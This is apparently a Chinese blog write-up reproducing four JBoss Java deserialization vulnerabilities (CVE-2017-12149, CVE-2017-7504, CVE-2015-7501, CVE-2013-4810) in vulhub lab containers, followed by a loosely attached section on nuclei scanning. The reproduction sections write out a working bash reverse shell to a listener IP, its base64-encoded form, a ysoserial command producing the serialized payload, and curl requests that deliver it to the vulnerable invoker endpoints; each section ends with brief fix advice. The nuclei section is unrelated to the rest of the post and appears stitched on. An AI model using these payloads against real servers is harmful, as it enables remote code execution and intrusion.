JBoss漏洞总结复现

简介

Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080

JBoss发序列化漏洞(CVE-2017-12149)

漏洞描述

JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

漏洞原理

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响范围

Jboss AS 5.x
Jboss AS 6.x

漏洞复现

环境:vulhub,进入对应的目录后 docker-compose up -d启动容器
访问http://192.168.255.128:8080,环境搭建完成。
image-20211008171844279
验证漏洞:访问http://192.168.255.128:8080/invoker/readonly若出现以下页面,则存在漏洞。http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。
image-20211008171718419
使用工具ysoserial来生成序列化数据,构造POC,使用bash反弹Shell,nc接受反弹回来的Shell。
exp:

bash -c `bash -i >& /dev/tcp/192.168.255.131/5555 0>&1`

需要进行编码,直接传参数ysoserial会处理换行。
http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c {echo,YmFzaCAtYyBgYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xMzEvNTU1NSAwPiYxYA==}|{base64,-d}|{bash,-i}

生成payload。

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtYyBgYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NS4xMzEvNTU1NSAwPiYxYA==}|{base64,-d}|{bash,-i}" > poc.ser

image-20211008173841570
将payload序列化后的数据发送到服务器,服务器收到序列化数据后会反序列化,触发payload,即可获取shell。
1、通过curl发起post请求。
curl http://192.168.255.128:8080/invoker/readonly --data-binary @poc.ser
出现问题了,利用CommonsCollections1库生成的payload利用失败了。
image-20211008174804439
换成CommonsCollections6库生成的payload,利用成功。(根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库)
image-20211008175031580
2、通过burpsuite post请求。
image-20211008180500732

修复建议

1、升级至不受影响的版本。
2、删除http-invoker.sar 组件。
3、添加如下代码至 http-invoker.sar 下 web.xml的security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。

JBossMQ JMS反序列化漏洞(CVE-2017-7504)

漏洞描述

CVE-2017-7504为JBossMQ JMS反序列化漏洞,利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

漏洞原理

CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

影响范围

Jboss AS 4.x及之前版本

复现过程

环境:vulhub进入对应的目录后docker-compose up -d
访问http://192.168.255.128:8080/,环境搭建完成。
image-20211008183543215
验证漏洞
访问http://192.168.255.128:8080/jbossmq-httpil/HTTPServerILServlet。
若出现如下界面,则存在漏洞。
image-20211008183723890
使用nc打开端口监听,再用之前生成的poc2.ser文件,通过POST二进制数据上去,即可拿到shell。
curl http://192.168.255.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc2.ser
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6n79fOyX-1633701865324)(http://photo.1ance.xyz/JBoss/image-20211008184035492.png)]

修复建议

1、升级至最新版本。

JBoss JMXInvokerServlet反序列化漏洞(CVE-2015-7501)

漏洞描述

利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

漏洞原理

CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

复现过程

环境:vulhub,进入对应的目录后docker-compose up -d
访问/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。
image-20211008185149414
使用nc打开端口监听,再用之前生成的poc2.ser文件,通过POST二进制数据上去,即可拿到shell。
curl http://192.168.255.128:8080/invoker/JMXInvokerServlet --data-binary @poc2.ser
image-20211008185510040

修复建议

1、升级至不受影响的版本或者及时打上官方补丁。
2、设置中间件的访问控制权限,禁止web访问/invoker目录。

JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

漏洞描述

此漏洞和 CVE-2015-7501 漏洞原理相同,两者的区别就在于两个漏洞选择的路径,其中JMXInvok erServlet 和 EJBInvokerServlet 利用的是 org.jboss.invocation.MarshalledValue 进行的反序列化操作,而 web-console/Invoker 利用的是 org.jboss.console.remote.RemoteMBeanInvocation 进行反序列化并上传构造的文件。

影响范围

jboss 6.x 版本

复现过程

环境:vulhub,使用CVE-2015-7501的环境。
访问http://192.168.255.128:8080/invoker/EJBInvokerServlet返回如下,说明接口开放,此接口存在反序列化漏洞。
image-20211008191445597
利用方式同上,换成/invoker/EJBInvokerServlet路径即可。

修复建议

1、不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:\server\default\deploy\http-invoker.sar
2、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint标签中,对http invoker 组件进行访问控制:
/*
路径为:\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

总结

JBoss存在的漏洞有很多,这里总结主要是对一些常见的漏洞复现和分析(主要是vulhub上的环境)当然了目前网上都有很多自动化的检测和利用工具,这里手动验证是为了加深印象;漏洞的原理很多都是参考大佬们的文章,个人其实还是有很多不是很理解(菜狗)这里对大佬们表示衷心的感谢。后续继续补充其他漏洞复现。

### 使用 nuclei 工具进行漏洞复现 #### 安装与配置 Nuclei 为了使用 `nuclei` 进行漏洞检测,需先安装该工具。可以通过以下命令完成安装: ```bash go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest ``` 确认环境变量已正确设置以便能够全局调用 `nuclei` 命令。 #### 获取模板库 Nuclei 的强大之处在于其丰富的社区贡献模板集合。这些模板定义了各种类型的漏洞测试方法。要更新本地模板库可运行如下指令: ```bash nuclei -update-templates ``` 这会自动同步最新的官方模板到本地机器上。 #### 执行基本扫描操作 对于特定目标执行快速的安全评估可以采用简单的方式启动扫描过程: ```bash nuclei -u http://example.com/ ``` 上述命令将会针对指定URL发起一系列预设好的安全检查动作并输出结果。 #### 针对具体 CVE 编写自定义 POC 或应用现有模版 当面对像 JBoss 反序列化这样的复杂场景时,则可能需要依赖于更详细的定制化脚本或是找到已经存在的对应CVE编号的核芯规则文件来实施进一步验证工作[^2]。 例如,在处理 **CVE-2017-12149** 时,如果存在相应的 nuclei 模板可以直接利用它来进行自动化探测;如果没有的话则可以根据公开资料自行编写匹配条件和载荷部分。 #### 结合其他工具增强效果 有时仅靠单一手段难以达成理想的效果,这时不妨考虑与其他辅助软件相结合以提高效率。比如前面提到过的 JavaDeserH2HC 就是用来生成恶意 payload 并配合 nuclei 实现远程代码执行漏洞的实际攻击面模拟演练。 另外值得注意的是,在某些情况下还需要额外准备一些必要的组件如 JDK 环境以及相关 jar 文件等才能顺利完成整个流程。 #### 处理通知机制 一旦完成了所有的测试活动之后还可以借助外部服务发送消息提醒相关人员关注发现的问题。例如向 Telegram 发送消息告知任务已完成: ```bash echo "nuclei 漏洞扫描结束" | notify -silent -provider telegram [^1] ``` 以上就是基于 nuclei 开展漏洞重现工作的主要步骤概述。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值